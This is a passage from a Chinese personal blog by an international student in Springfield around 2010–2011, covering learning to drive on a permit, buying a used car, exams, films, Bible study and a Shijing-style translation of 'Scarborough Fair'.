在这边和四爷一直标榜“无证驾驶,驾校除名,自学成才”,自从考了permit以后,时不时把车开出去练习一下。在这里只要笔试通过,就可以拿到permit,然后可以在有驾照的人陪同下上路练习。在住的附近有个公园,车比较少,最开始就是绕着个公园转圈。边上还有个公墓,里面很幽静,路比较曲折,几乎没车,人也少,是个练车的好地方,只不过过去需要经过几条大路。在公园练了好几天以后,我才敢上大路,然后就到这个传说中的“春田秋天最漂亮地方”的公墓练习转弯。每次到公墓门口,我都要先默默在心里用中英日三语和诸位前人道个歉,打扰他们清休,然后就在里面练习拐弯刹车。据说无证驾驶是要进监狱的,而我经常是一个人上路。。。 昨晚从jon他们家出来,总算上了回快速路,开到40mph的速度。下周二打算去考路考,据说要考高速上变道,还有侧位停车,这个还没试验过。反正路考有三次机会,第一回就当体验一下考试好了。天气预报说下周二要下雪,上帝保佑我能在过年前一天路考通过吧,阿门。 --- ## 雪夜归来 Date: 2011-01-20 URL: https://blog.wo.ai/archives/74 Categories: Life, Springfield 冒着大雪开车归来。 今天supply chain management考试,考试不是很理想。虽然考试完以后,老师大放水,几道大家都错的题都给了分,但拿A的希望比较渺茫。昨晚睡得太少,快1点睡觉,5点就爬起来看书。中午出去换了机油之后,回来好好睡了一觉,总算稍微补回来一点。 晚上去校内的那个教堂,大概还受这两天心情影响,突然很想去看电影。教堂活动结束后,上网搜今晚的电影,拖到10点多,开车出门。开到downtown,买票进场,才发现今晚电影比VIP还VIP,10多个厅都在放电影,除了我连个鬼影都没看到一个。挑了Narnia2,坐在空旷大厅把电影看完。电影情节感觉一般,完全冲着3D来的,而且3D的效果也似乎一般,虽然是立体,但是比较少找到身临其境的感觉。中途接到四爷电话,外面在下大雪,电影别看了,赶紧回来,路上开车小心。有人关心,在寒冷的春田还是感觉到不少暖意。电影散场出来,发现才1个多小时,路上已经铺满了雪。走到停车场,车上也盖满了雪,把前后车窗的雪简单处理了一下,以蜗牛的速度把车开回了家。 回来回想了一下,今天创了几个第一,第一次把车开进路况复杂的downtown,第一次夜间开车,第一次雪地开车。后怕是没有,但是觉得太疯狂了一点。途中看到警车有点紧张,现在属于无证驾驶,只有permit,还没路考,没有正式驾照。虽然之前已经有师兄靠permit在春田,甚至别的州开了一年,看到警察还是有点心虚。 今晚教堂的主题是”She thinks my Chariots sexy”,一对老夫妇现身说法,婚姻40年,是如何保持的。在美国很多中年夫妇都是离婚后结婚的,他们能保持40年真的不容易。其中牧师提到一条我觉得受益不少,let her know how important she is。也许真的应该这么做。 air supply的all out of love,和我同龄的一首歌。 --- ## 他来自地球(The Man from Earth) Date: 2010-12-30 URL: https://blog.wo.ai/archives/72 Categories: Life, Springfield 圣诞节、元旦连着放假,美国人连续过节,反而成了我的电影节,从国产的贺岁片《让子弹飞》、《大笑江湖》、《非诚勿扰2》,一直看到老美的一个老片子《他来自地球》,这虽然是一部低成本的电影,传说只用了1万多美元,只能用惊艳和震撼来形容它。 故事发生在一个小房间里面,情节就是几个人的对话。历史教授John在执教10年后突然辞职,他的同事赶到他的住所为他送行。John欲言又止,然后说出了他离开的原因,他是洞穴人,已经活了14000年,但是他一直都保持35岁。每10年,他需要搬一次家,改变身份,防止别人发现他的秘密,然后重新学习,重新生活。追随过佛祖修行,直到佛祖去世,然后被各种部落奉为神明;认识哥伦布,甚至差点和他一起去发现新大陆;认识梵高,还有一幅梵高的画;最令人吃惊的是他是耶稣。 在场有考古学家(人类学家)、心理学家、生物学家,还有一位虔诚的基督教徒,他们刚开始把John的故事当作科幻小说,哈哈大笑,随着谈话的深入、情节的推进,他们发现John的故事是如此真实,甚至作为自己领域的权威,却无法用自己的知识去反驳,而且还动摇了。影片的高潮在John说他是耶稣的那一段,他对圣经和耶稣的起源的说法,让在场的人都几近崩溃,却又隐隐赞同,尤其对在场那位虔诚的基督徒精神寄托的冲击,是她无法想象的。这个冲击不仅仅是对基督宗教的冲击,而且几乎可以颠覆整个西方的文化。在场还有一位女大学生,当所有的人都以为这是一个谎言的时候,只有她听出了John的质疑。这个女大学生代表了西方社会年轻人对中西文化的质疑,也包括了对东方文化的喜爱。 在这部影片中与John冲突最强烈的是那位心理医生,先是无法接受永生,想要拔枪解决John,后而离场,后来冷静以后回来继续听John的故事,然后以自己的权利禁止John的话语权,让他告诉大家这些都是谎言,所有的人都“原谅”了他,然后大家各自离场,唯独只有爱上John的那位女士没有离开。心理学家的举动其实也代表了西方社会的一些做法,对思想的一种禁锢,不会允许这种思考方式的存在,这种思想的存在,会动摇整个西方社会文化、宗教、社会结构,只要John承认了自己是谎言,就可以得到大家的宽恕。其实最后的结局,当心理学家发现John是自己60年前的父亲刺激过渡死亡,证明了John所说的一些都是真实的,这显然是导演对思想禁锢的巨大嘲讽。心理医生的死是导演的一种宣泄,或者是一种意愿,但是这个对于西方社会来说应该是很渺小的,很难动摇的。结局是个悲剧,但是要坦然面对,就像爱上John的那个女人明明知道自己的结局,还是毅然选择跟他走。 来美国快半年了,来的第二天就开始接受基督教文化的熏陶,一直没有明白为什么基督教徒能够一直默默地奉献,捐赠自己的存款,救济穷人,建造医院,建造学校,在海地救灾,在非洲宣传福音,甚至帮助他们创造自己的文字。原来美国政府除了最最基本的社会保险以外什么都不用干,学校医院都是教会建的,穷人也是教会救济的。直到昨晚在Betty家学习圣经的时候,Dana他们说了他们所做的这一些只是为了Glorify the God(荣耀上帝),让我豁然开朗。原因很简单,做起来却很难。Betty说她买现在的这套房子的时候,就认为这套房子不属于她,属于上帝,她只是住在这里,每周二她都会在家里办圣经学习,自费准备晚餐,已经坚持了很多年。之前我已经有很长时间没有去了,当我从四爷那里听说Dana他们看到每次去的人越来越少考虑是否要继续办下去,然后又看到已经离开美国的师姐的留言说他们这些人的实际并不富裕,Paul他们一家甚至没有手机就是为了节省费用让更多的人学习圣经,让我觉得就算我不是基督徒,也不能用我们无知的行动去伤害他们善良的心,所以有的时候我也会做一两个菜带过去,和他们一起分享。 在虔诚的基督教徒家学习完圣经,回来看这个颠覆性的电影,感叹人应该有信仰的同时,也觉得神也是人,只是被神化了的人而已。只要宗教信仰是让人从善,让人类社会进步,作为道德约束应该存在的,但是如果成了阻碍社会进步的绊脚石,那就是罪过了。 附上电影的片尾曲,也是对这个影片的一个诠释吧。 片尾曲《FOREVER》 Forever 永恒 i’ve seen rivers rise 我曾经历潮涨潮落 seen mountains fall 我曾经历山峦崩裂 seen endless vistas coming to an end 曾经历过无边无际的美景瞬间毁灭 i’ve seen stars collide 我曾经历星球相撞 heard oceans roar 曾听过大海怒吼 i know what it means to lose your only friend 我知道失去你唯一的朋友意味着什么 nothing lasts forever 没有什么是永恒 that’s what i’ve always heard 它就像箴言时时在我脑中盘旋 all things good must end 一切美好终将毁灭 you know it’s true 你我都如此肯定 nothing lasts forever 没有什么是永恒 but maybe some things do 但也许也有例外 forever is the way i feel for you 这就是我对你永恒不变的爱 forever is the way i feel for you 这就是我对你永恒不变的爱 i’ve seen man take 我曾见过有的人 the world into their hands 将整个世界掌握在他们手中 and change it, mold it, to their point of view 按照自己的意愿改造它 i’ve felt the earth shake 我能感到大地颤抖 seen men take a stand 我鉴证了人类开始直立行走 and fight when it’s the one thing left to do 也经历了世界只剩下战争 nothing lasts forever 没有什么是永恒 that’s what i’ve always heard 它就像箴言时时在我脑中盘旋 all things good must end 一切美好终将毁灭 you know it’s true 你我都如此肯定 nothing lasts forever 没有什么是永恒 but maybe some things do 但也许也有例外 forever is the way i feel for you 这就是我对你永恒不变的爱 forever is the way i feel for you 这就是我对你永恒不变的爱 nothing lasts forever 没有什么是永恒 that’s what i’ve always heard 它就像箴言时时在我脑中盘旋 all things good must end 一切美好终将毁灭 you know it’s true 你我都如此肯定 nothing lasts forever 没有什么是永恒 but maybe some things do 但也许也有例外 forever is the way i feel for you 这就是我对你永恒不变的爱 --- ## 人生是一种修行 Date: 2010-12-28 URL: https://blog.wo.ai/archives/70 Categories: Life, Springfield Life is a spiritual journey. 刚看了非诚勿扰2,虽然依旧很贫,但是后面一段人生告别会确实很感人,这也是极少能够让我落泪的电影,人生能活成那样就已经非常不错了,至少还有那么多朋友。香山说的修行不够,其实老祖宗早说过,朝闻夕死已经足够了。 其中对婚姻有段评价,我觉得很中肯,人的婚姻本来就是错的,长久的婚姻就是将错就错。 生活中磕磕碰碰总归是存在,抱怨错误的婚姻也许时不时存在,但是既然选择了,毕竟那是前世约好的,今生才能在一起,那就将错就错吧。 一辈子很短,我愿意将错就错。 --- ## 流水账 Date: 2010-12-04 URL: https://blog.wo.ai/archives/68 Categories: Life, Springfield 最近感觉日子过的比较乱,老毛病犯了,晚上睡不好觉,白天精神不好,也没记录点什么。前天和河河去LOWE’S买了木板和螺丝,今天花了一中午的时间装了个板床,但愿对腰会好一些,辛苦河河了。没想到来到美国,学会了老外的自己动手,满超市的材料和工具,就是给美国人自己折腾的,美国人工费用高,很多东西都自己动手。 最近车也从修理店拖回来了,通过律师给那个恶女人发了律师函,貌似没有得到回复。然后和老大一起给车买保险,交税,上牌。然后把车开到小黑介绍的修车铺,他说修理的价格很高,人工也高,只要不是去爬坡,基本不会有影响,不需要修,就直接可以开。在美国没有驾校,考驾照的话,只要理论考试通过,就可以由有驾照的人带领开车,学会以后路考通过就可以拿到驾照。前两天让河河出去教我开车,油门和方向盘掌握不好,几次差点开到沟里,河河被我吓坏了,不敢再陪我去了,哈哈。 白天一位同学说和教会联系了过年可以给中国学生提供经费准备年夜饭和美国人一块过,才发觉已经快过年了,今晚和四爷两个人实验包了20多个饺子,往常在家都是买现成的饺子皮,今天是从和面擀面配馅包饺子都是自己动手。馅的味道不够重,饺子皮少了,想想亚洲超市贼贵的饺子,总归还是找到了一点心理平衡,过年的时候肯定可以做的更好。 今天和沐沐视频的时候,他居然嘱咐我多穿点衣服,会感冒的,感动的眼泪汪汪的,儿子长大了,还知道关心大人了。现在听到沐沐一句一句蹦话出来,越发觉得时间过得真快。过几天儿子满2岁了,只能在大洋这边给儿子说句生日快乐了。 --- ## 颓废的两天 Date: 2010-11-19 URL: https://blog.wo.ai/archives/65 Categories: Life, Springfield MIS总算考完,这们课程也算结束,前几天紧张的神经终于放松下来了。每次考完一门课都感到无比的空虚,看书,这门课才结束,下门课还没开始,没目标;出去溜达,懒,不想出去;睡懒觉,生物钟又会把我叫醒。所以只能断断续续的睡觉,把之前的觉补足,其他的时间在厨房里度过。来春田以后,做饭反而成了打发时间的事情,成了放松心情的事情,成了乐趣,这真是之前没想到的事情。昨天睡了一天,今天总算顶着寒风出去打了半个小时球,然后在图书馆淘了两本书,晚上把老姑和她舍友请到宿舍吃了一顿,一天就这么过去了。只能等老大把车从修车厂开回来,练车也是个选择。 明天新的一门课又要开始,新的轮回又开始了。 ![图片](/wp-content/uploads/2010/11/qzone-id65-1.jpg) ![图片](/wp-content/uploads/2010/11/qzone-id65-2.jpg) 老范有首词比较适合现在的春田 《苏幕遮》 碧云天,黄叶地。秋色连波,波上寒烟翠。山映斜阳天接水。芳草无情,更在斜阳外。 黯乡魂,追旅思。夜夜除非,好梦留人睡。明月楼高休独倚,酒入愁肠,化作相思泪。 --- ## 米国买车记 Date: 2010-11-02 URL: https://blog.wo.ai/archives/63 Categories: Life, Springfield 昨天宿舍“罗兰”老大从同学那里找来一个二手交易的网址,在上面搜了几辆车的资料,然后让我给车主打电话,接电话的那个小伙让我们下午3点后联系。睡过午觉后,继续给车主打电话,他不乐意把车开过来,我们只好给可爱的11童鞋打电话,把我们送到133号农场路(美国只要出了中心到处都是xx号农场路,到处是农场路,难怪有童鞋在农场路迷路)。01年的土星,开价1600刀,车的外观不错,打开车门一看,座垫破的,车玻璃是手动摇地,车内也很脏,罗兰老大和11童鞋把车开出去溜了一圈,觉得刹车比较软,速度提不上去,后来和车主聊这个所谓01年的车居然没有ABS!!上个世纪的很多车都已经是有ABS和自动窗的。再加上这辆车也只是这个小伙的朋友的,他也不是很熟。虽然他说价格可以到1400刀,我们只能说考虑一下看看,然后就打道回府了。 半路上,罗兰兄拿出他的小本子,对我说,既然今天已经出来了,要不你给另外一个人打个电话问问他们在哪里吧,然后我就给其中一个打过去,她说住在east cherry,就在MSU旁边,基本算是回家顺路去看看。到了第二个车主家,看到了这辆红色的土星,大概有了第一辆车的铺垫,这两辆车一个是天上一个地下。03年的土星,车的配置不错,至少自动窗,还有一个让罗兰兄引以为豪的车窗控制台在驾驶位副驾中间。因为是车主自己开,所以车内外比较干净,只是前后轮胎磨损比较厉害。开出去遛了一圈,刹车还可以,大概因为车是2.1的,加速没有11童鞋的3点几的那么快。美国人真不环保,卖的车动不动就是3点几,甚至还有5点几的,只能说老美剥削全球的资源自己用,美国的油价只有国内的三分之一,根本不用节省。车前车后、空调暖气都检查了一下,然后和车主谈价钱,她说考虑一下,然后进屋和她老公谈了一下,告诉我们这个价钱可以。我们三个人觉得这个价格应该是性价比比较高了,这种事情不是随时可以碰到的,商量尽快筹钱给车主。11童鞋开车送我们回宿舍拿现金,去bank of america取钱,中间给二少和四爷汇报了情况,把钱交给车主,车主在certification of title背面写上了罗兰老大的名字,签上了自己名字,把钥匙交给我们,就算成交了。这里买车卖车也太快了吧,只需要卖主把title写上买主的名字,然后买主直接到驾照中心去过户就可以了,比国内省事多了,国内貌似啥事都需要买家卖家同时到场才行。剩下我们需要做的事情,就是第二天去做车检,网上交保险,计算要交多少税,过户登记就可以了。罗兰和我就开着车回家了。要知道,罗兰虽然在国内开了10多年车,但和我一样只是通过了笔试,只有permit,没有美国驾照,开着没交保险,没有车牌的车回去,要是被警察逮了就死定了。 回到家,做了饭吃了,二少和四爷回来了,意见统一出去兜风,由二少开车(二少是国内的持本族,对美国交规一窍不通,美国的笔试还没有考),上车第一句话“油门在哪”就雷倒了所有人。刚开始还只是在我们住的边上人烟稀少的路上慢慢驾驶,本身只是双车道,二少貌似喜欢在路中间开,霸王花居然还是路霸,幸好前后都没车,只能提醒很多次往右边开。看到车上油不多,开进了一个加油站,傻眼了,自助的,加什么油,加多少,怎么加都不知道。跑到便利店里面问了以后,我打电话给11童鞋说10加仑够了,一位服务员出来帮我们,选择油型,选择debit card,插卡,输入密码,开始加油,10加仑油哗啦啦的进了俺们的车,我的卡上也哗啦啦的少了25刀,总算体验了一把自助加油。后来居然开进了downtown,而且跑到了单行道,逆行了一段,赶紧转到旁边一条路上,开始漫无目标向郊外开去,远远看到前方highway写着kansas,只能在前面找了个地方掉头,否则之能highway到kansas city,没有几个小时是开不到的,摆驾回府了,兜风结束。后来总结了一下,二少开车开车技术还行,就是不懂交规(其实还是有给面子的成分,哈哈),中间有好几次让人心惊肉跳的,女孩开车都能这么猛。 后记,本以为昨晚是真正的Halloween,半夜罗兰和二少打扮了一通,四爷身体不适,我们三个又去了一趟downtown,结果“鬼”都没见到一个,太失败了,真是太对不起罗兰的“老花猫”脸,他难得放纵一回,任意我们画他的脸,以后他估计没底气说我是破罐子了,他也是一个可以随便摔的破罐了,哈哈。 (PS,为什么我们的micheal lin童鞋会被称作罗兰,那是另外一个故事,敬请期待) 下面是买车时的照片。 ![图片](/wp-content/uploads/2010/11/qzone-id63-1.jpg) ![图片](/wp-content/uploads/2010/11/qzone-id63-2.jpg) ![图片](/wp-content/uploads/2010/11/qzone-id63-3.jpg) --- ## 会计啊,会计 Date: 2010-10-20 URL: https://blog.wo.ai/archives/61 Categories: Life, Springfield 今天managerial accouting的第三次小考总算结束了,明天还有最后一次大考。前两次小考还算轻松,这第三次快把人逼疯了,尤其最后一章大堆的公式,做到最后几道题的时候,头脑一片空白,随便选了几个答案,只能依靠明天的大考来拉回一点分了。一考完,我就跑回家,换了衣服去抽了一小时壁球,好好发泄一通,把这两天的压抑统统抛开。幸好明天的大考是在三次小考中各挑10道题换掉数字重新考,这个让我们感觉压力小了很多,晚上还要继续把前面几次考试的内容复习一下,还有该死的最后一章的公式。据说“信小白,得永生”,我就把QQ的签名改成了这个,希望明天的考试能够顺利通过。这段时间天天都是cost,budget,ROI,IRR啥的,甚至做梦都在计算这些值,还有simple rate of return,就是把你这个破公式给忘了,害我没算出来。这门课总算是要结束了。 ![图片](/wp-content/uploads/2010/10/qzone-id61-1.jpg) 这是我今天在图书馆学习的时候占的一个风水宝地,宽敞、明亮、安静还能看风景,累了还能在沙发上面睡一觉。不知道下次是不是还能占到这个位置。 ![图片](/wp-content/uploads/2010/10/qzone-id61-2.jpg) 这是我前天买的菊花(有童鞋说是太阳花),摆在桌子上,增加点绿色吧。 春田似乎一下子就进入深秋了。 ![图片](/wp-content/uploads/2010/10/qzone-id61-3.jpg) 门口的树也突然全部变成了红叶 --- ## 达是酒中趣,琴上偶然音 Date: 2010-10-11 URL: https://blog.wo.ai/archives/59 Categories: Life, Springfield 唐朝的小孟同学写了一首《洗然弟竹亭》 吾与二三子,平生结交深。俱怀鸿鹄志,昔有鶺鴒心。 逸气假毫翰,清风在竹林。达是酒中趣,琴上偶然音。 琴棋书画我一个不通,然而这四样几乎包含了中国所有的艺术与美。 琴,作为四者之首,大概缘于“音”,音乃生活艺术中不可或缺的一部分。听过的乐器中,吉他显得太散漫,钢琴呢,似乎太尊贵,只能适合在台上表演。唯有古琴与古筝,孤傲、有气势,清风竹林,也许是她的最佳演奏之处。不管是文人雅士、或者塞外高人、或者是名门闺秀、小家碧玉,抚琴也许就是最好的享受,脱离世俗的烦忧,就算是烟花巷中,也能看到她孤傲的身影,也许就是与世俗有些格格不入,但是还能让人陶醉于其中。《红楼梦》里,美女才女何其多?却惟有黛玉知晓抚琴,惟有妙玉懂其音。二人都是冰清孤傲,都是才华横溢,却都是红颜薄命。宝玉也就只能在边上凑数。在中国的乐器中,能够与古琴相提并论的大概只有箫了,在《笑傲江湖》中,魔教长老曲洋和衡山派刘正风两人本该是正邪不能两立的二人,却共同钻研谱出《笑傲江湖曲》(源于《广陵散》),最后还因此而丧命,使琴箫合奏笼罩于化不开的孤绝和悲怆之中。还有之后的“江南四友”,本身已经准备归隐山林,结果因为这曲丧命,还是逃不过江湖纷争。 棋,围棋,作为中国的国粹之一,因为看《棋魂》,我也去买了一套,始终不得其门,只能摆在柜上沾灰惹尘,确实可惜。人生也是一盘棋局,对手是谁,很难知晓,也许是不停的变换对手,也许对手就是自己。 书和画也许因为电脑的出现,渐渐的淡出大家的视野,对于文字也许只有打印版和电子版的区别了,最多还能剩下一个签名还是自己手写的,或许电子签名可以把这个也省下了。我记得大学的时候还是通过写信来进行沟通,能够感觉到实实在在的文字,还有笔迹和信纸的味道,当然还可以加上压扁的花朵,或者纸叠的各种图案,甚至还能信手画点小东西。这种日子似乎一去不复返,现在只有电话、短信、即时聊天工具了。毫翰、玄玉、笺、石田,古人丰富的想象力和感情,能够给简单的笔墨纸砚四样东西赋予如此多的名字,现代人只剩下了笔和纸,也许以后教育下一代,笔和纸也能成为历史。 在小孟的诗中,我和你们两三个人是平生最好的朋友;我们都怀有雄心壮志,我们也是很好的兄弟;我们借助笔墨抒发豪情,就象古代的竹林七贤一样,饮酒抚琴,抒情达意。与好友抚音、观竹、酌酒,不胜悠哉,此刻不管是鸿鹄之志,还是鶺鴒之心,于我如浮云,古人诚不我欺!真羡慕古人的心境,之前在国内,忙碌的工作和学习,很难找到机会来品味。在美国,鲜有竹子,不提古琴,就连对酌之人也难找到,也只能偶尔一个人在月光之下,对影成三人了。 (明天该死的accouting又要考试了,还有一大堆作业,居然还在这里扯淡这个东西,真是不想混了,赶紧看书吧。) ![图片](/wp-content/uploads/2010/10/qzone-id59-1.jpg) (图为长长的Strong Hall走廊我的背影) --- ## 斯卡布罗集市(Scarborough Fair) Date: 2010-10-02 URL: https://blog.wo.ai/archives/57 Categories: Life, Springfield Scarborough Fair is a famous song from the movie “The graduate”. I have heard this song for a long time, there is also a Chinese version by Zhang Mingmin. I got nothing when I listened to the English song and lyrics, but I found a Shijing style ( a very ancient beautiful Chinese poem style) version tranlation on internet. When I read the translation while listenting to music, I felt that why the lyric can be translate so beautifully? Lika the girl gathering the lotus in the river center thousant years ago, beautiful, lovely and infatuated and clinging. No boundary limitation for the music! Also no boundary for the language. The only thing is the communication among hearts and hearts. 斯卡布罗集市这首歌来自一部很出名的电影《毕业生》。这首歌其实很早以前就听过了,张明敏也有他对应的中文版歌曲。本身看英文版的歌词没有多大的感触,当我看到一个诗经版的翻译,真的让我感触颇深,才发现,原来这歌词也可以被翻译的如此美丽,竟如了那个千年前涉江采莲的女子,一样的委婉可人,一样的痴情执着,原来,音乐是没有国界的,语言是没有国界的限制的,有的只是心与心的交融。 Following is the translation of the lyrics. 以下是歌词的翻译 Are you going to Scarborough Fair 问尔所之,是否如适 Parsely sage rosemary and thyme 蕙兰芫荽,郁郁香芷 Remember me to one who lives there 彼方淑女,凭君寄辞 She once was a true love of mine 伊人曾在,与我相知 Tell her to make me a cambric shirt 嘱彼佳人,备我衣缁 Parsely sage rosemary and thyme 蕙兰芫荽,郁郁香芷 Without no seams nor needle work 勿用针砧,无隙无疵 Then she will be a true love of mine 伊人何在,慰我相思 (On the side of hill in the deep forest green 彼山之阴,深林荒址 Tracing of sparrow on snow crested brown 冬寻毡毯,老雀燕子 Blankets and bed clothers the child of maintain 雪覆四野,高山迟滞 Sleeps unawafe of the clarion call 眠而不觉,寒笳清嘶) Tell her to find me an acre of land 嘱彼佳人,营我家室 Parsely sage rosemary and thyme 蕙兰芫荽,郁郁香芷 Between the salt water and the sea strand良田所修,大海之坻 Then she will be a true love of mine 伊人应在,任我相视 (On the side of hill a sprinkling of leaves 彼山之阴,叶疏苔蚀 Washes the grave with slivery tears 涤我孤冢,珠泪渐渍 A soldier cleans and polishes a gun 昔我长剑,日日拂拭 Sleeps unaware of the clarion call 寂而不觉,寒笳长嘶) Tell her to reap it with a sickle of leather 嘱彼佳人,收我秋实 Parsely sage rosemary and thyme 蕙兰芫荽,郁郁香芷 And gather it all in a bunch of heather 敛之集之,勿弃勿失 Then she will be a ture love of mine 伊人犹在,唯我相誓 (War bellows blazing in scarlet battalions 烽火印啸,浴血之师 Generals order their soldiers to kill and to fight for a cause将帅有令,勤王之事 They have long ago forgoten 争斗缘何,久忘其旨 Sleeps unaware of the clarion call 痴而不觉,寒笳悲嘶) At first when I read the traslation, I thought it should be written by a master or an ancient poet. I simply googled it and it told me that the poem came from Shijing (a poem colletion of ancient China). I wondered who the poet is, so I searched again and found that the author of the poem is Lianbo( a chinese girl). She translated this 60’s song’s lyrics according the Shijing style and many readers were cheated by her pefect work as writen by an ancient poet. 一开始看到这个翻译还真以为是某位古人或者大师级别的人的作品,简单google一下,大家都在问这首诗是否来源于诗经,后来通过google深入追逐了一下这个诗经翻译的来源,这首“诗经”的作者是莲波。她按照诗经体翻译了60年代的经典歌曲,骗倒了一大片人,还真以为是某位古人的作品,很有胡茄十八拍的风味。 Liaobo, is a pen name of Zhou. She also has the pen name such as Sangongzi and Buhan(Both the name are likely a boy’s name).She used to be a teacher of a middle school. She introduced herself,”Born in Ningbo,Zhejiang.Grown in Suzhou,Jiangsu. The fate for me like a wood, so she is upright.In her fate,I should meet Canopy, so I should always be longly(In traditional chinese culture,the man who met Canopy would be unlucky). Fateful and a holy followers of Buddha. I like quibbling.”. She was active in the network for about 1994 to 1996 during the study in Chicago. 莲波,周氏。又名三公子、不寒,曾经当过中学教师。自云:“浙江宁波人,长于苏州。木命,所以耿直;命中有华盖,所以孤单,宿命,信佛,喜欢咬文嚼字。”,她活跃于网络中的时间大约是在1994年到1996年留学美国芝加哥期间,应该算是现在动不动就是艺术照、献身照的“美女”的祖奶奶辈了。本身还想深入追逐下去,发现当今的网络已经不再是当年百花齐放的年代了,审查、备案已经让无数的个人网站倒下了,将来剩下的大概也就是那些门户网站,或者说只能在国外能看到一部分星星点点了,个人网站或许就不应该在中国存在。 补记(20101114),今天在超市买到了parsely,就顺便到网上把四种香草照片都贴出来。 Parsely图片(中文翻译是欧芹,我怎么看都像香菜。后经过品尝,味道和香菜有区别,我还是偏向于喜欢香菜的味道) ![图片](/wp-content/uploads/2010/10/qzone-id57-1.jpg) Rosemary ![图片](/wp-content/uploads/2010/10/qzone-id57-2.jpg) 带花的Rosemary ![图片](/wp-content/uploads/2010/10/qzone-id57-3.jpg) Sage ![图片](/wp-content/uploads/2010/10/qzone-id57-4.jpg) 带花的Sage ![图片](/wp-content/uploads/2010/10/qzone-id57-5.jpg) Thyme ![图片](/wp-content/uploads/2010/10/qzone-id57-6.jpg) 带花的Thyme ![图片](/wp-content/uploads/2010/10/qzone-id57-7.jpg) Following is some introdution from internet, ONLY Chinese. 附上这首歌的一些介绍(以下转载) 1、斯卡布罗集市(Scarborough Fair)是翻唱中世纪的一首老歌,作为《毕业生》的插曲之一,从60年代开始,成为了全世界歌迷最喜爱和熟悉的优美歌曲之一。Paul Simon & Art Garfunkel干净、清亮的嗓音让整首歌有一尘不染的纯净。 歌曲以一位在战火中亡故的士兵的口吻唱出,他再不能回到那朝思暮想的家乡,再不能与心上人一同享受生活的甘甜了。心中的悲愤化作一声声催人泪下的控诉:Psey Sge Rsemy & Thyme.成千上万的普通士兵如野花一般被战火摧毁在沙场上,那些战争的作俑者们最终难逃时间的淘洗。野花自在芳香;然而,唯有时间才能检验出谁是真正的贤明圣哲;或许,更古的时间才是真正的圣哲!Time Is Fi! 歌曲作于六十年代末,是奥斯卡奖影片“毕业生”的插曲之一,联系当时的时代大背景(越南战争),不难领会歌曲的内涵,作者保罗.西蒙是六七十年代的青年的代言人。他曾在英国修习英国文学,文学功底深厚,因而其歌词文字意境深遂。本歌歌词改变于一首十七世纪的英格兰民谣。演唱上西蒙和加丰科的配合可谓天衣无缝。在往来寂静的清夜里,让歌声流入你的心田,Tuh The Deep Of Yu Het! 此歌的歌眼,即Parsely sage rosemary and thyme这一句是歌中反复萦绕的衬词。歌者在Sge 与 Thyme上的有意延长似乎是在提醒我们注意:Sge既指鼠尾草,同时又有”贤哲/圣哲”之意;而Thyme则与Time谐音。因此,歌名S-Bw-Fi.S与Fi深沉昭示了歌者的本意——战争与和平(Anti-W)。 尽管语言不同、时代相隔两千多年,该歌曲与《诗经.问尔所之,是否如适》都在意境和主题上构成绝美的诠释。 2、在中世纪民歌里,歌曲的主人是一个被**抛弃的男人。据说其中一个版本的背景来自同时期的Whittington Fair,而不是Scarborough Fair。其中一个解释是基于歌中她毫无缘由或先兆的离开。那时在Scarborough被抓获的小偷或嫌疑犯常常在一种街头法庭上被判处或在树上吊死。于是后来Scarborough warning在英语里就成了”没有先兆”的意思。因此,Scarborough Fair就蕴涵着歌者对她的离开缘由毫无所知,或者原因过于复杂也就根本不予提及。 歌者给他的心上人安排了不可能完成的事情,意味着有时候爱情需要突破日常生活中似乎不可能的壁障才有希望。如果她能试图去做那些不可能完成的事情,那么她只得返回到他的身边向他求救,于是爱情就有希望得到自然的展开和延续。 在第二个诗节(stanza)中出现的欧芹、鼠尾草、迷迭香和百里香(parsley,sage,rosemary and thyme) 是一个很重要的主题。今天人们对这四种植物没有什么特别的感觉,但那个时代它们给人的联想就像当今红玫瑰与爱情的关系一样,象征着歌者对期待着心上人和自己具有的品质,因此她才有可能回到他的身旁。 按照那些相信植物疗法的人的看法,欧芹Parsley (Petroselinum crispum)具有治疗消化不良的功能。比如,据说吃菠菜的时候如果嚼一片欧芹树叶的话就能让菠菜的苦味消失,并易于消化。因此在中世纪欧芹被赋予一定的精神寓意的。鼠(狗)尾草Sage(Salvia officinalis)的象征有着数千年的历史,代表着力量。 迷迭香Rosemary(Ro**arinus officinalis)表示忠诚,挚爱和挂念。古希腊时男人就送给自己的恋人以迷迭香来表达爱慕,今天在欧洲新娘还有在头上别上迷迭香树枝的习俗。据说迷迭香能让人敏感和谨慎,于是在古罗马当一个人面对精神压力的时候,大夫常常建议放一小袋迷迭香树叶子于枕头下面。迷迭香有时候用作比喻女性的爱,尽管有些迟缓,却强劲并持续长久。 在神话传说中的中秋之夜,国王在荒野的百里香Thyme (Thymus vulgaris)丛林中与神仙们狂舞。但百里香一般象征勇气,在中世纪时骑士的盾牌上就有他的女人给他绣上的百里香的图像。 于是,垂头丧气的歌者用这四种在中世纪众所周知的植物,期望他的心上人能够用爱的温柔来消融他们之间的误会和痛苦,用毅力来度过他们分离的艰难时光,用忠诚来陪伴孤独的日子,用勇气去挑战那些不可能的事情并最终回到他的身旁。 另外附上白话版的翻译,能够对英文版歌词加深一些影响。 你要去斯卡布罗集市吗? 那里有醉人的香草和鲜花 那香味让我想起一位住在那里的姑娘 我曾经是那么地爱她 请让她为我做一件麻布的衣裳 (山坡上那片绿色的丛林中) 欧芹、鼠尾草、迷迭香和百里香 (顺着麻雀在雪地上留下的一行脚印) 没有接缝也找不到针脚 (在毯子下面找到一个山的孩子) 那才是我心爱的姑娘 (他睡得正香听不到山下进军的号角) 请她为我找到一亩土地 (山坡上落叶稀疏) 欧芹、鼠尾草、迷迭香和百里香 (汹涌的泪水冲洗着大地) 座落在海水和海滩之间 (一个士兵正在擦拭手中的枪) 那才是我心爱的姑娘 请她用皮做的镰刀收割庄稼 (战斗激烈,红衣士兵冲向敌阵) 欧芹、鼠尾草、迷迭香和百里香 (将军命令士兵杀死敌人) 再用石南草札成一堆 (战争的目的早已被遗忘) 那才是我心爱的姑娘 你要去斯卡布罗集市吗? 那里有醉人的香草和鲜花 那香味让我想起一位住在那里的姑娘 我曾经是那么地爱她 --- ## 月光下 Date: 2010-09-19 URL: https://blog.wo.ai/archives/55 Categories: Life, Springfield 下周要考试,无奈看书。坐在阳台,月光如水,书没看进多少,瞎想了不少,想记录点什么。 来美国已经一个多月了,跟着同学、室友嘻嘻哈哈过日子,突然觉得说得太多,不太符合自己的风格。今天在Jon和Lynn家bible study,Lynn点出了一个困扰很久的问题,what is the purpose of the 